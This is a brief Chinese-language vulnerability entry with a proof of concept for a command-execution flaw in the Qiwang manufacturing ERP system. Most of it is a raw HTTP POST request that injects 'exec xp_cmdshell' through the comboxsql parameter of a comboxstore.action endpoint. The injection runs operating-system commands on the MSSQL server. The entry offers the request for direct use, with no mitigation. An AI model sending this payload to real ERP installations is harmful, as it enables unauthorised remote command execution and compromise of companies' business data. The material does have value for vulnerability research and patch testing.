Description
企望制造ERP系统是上海企望信息科技有限公司开发的ERP系统，该系统使用mssql作为数据库存储，且存在sql 注入漏洞，并能执行系统命令。
企望制造ERP系统存在命令执行漏洞
PoC
POST /mainFunctions/comboxstore.action;cookieLogin.action HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
comboxsql=exec%20xp_cmdshell%20'whoami'
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.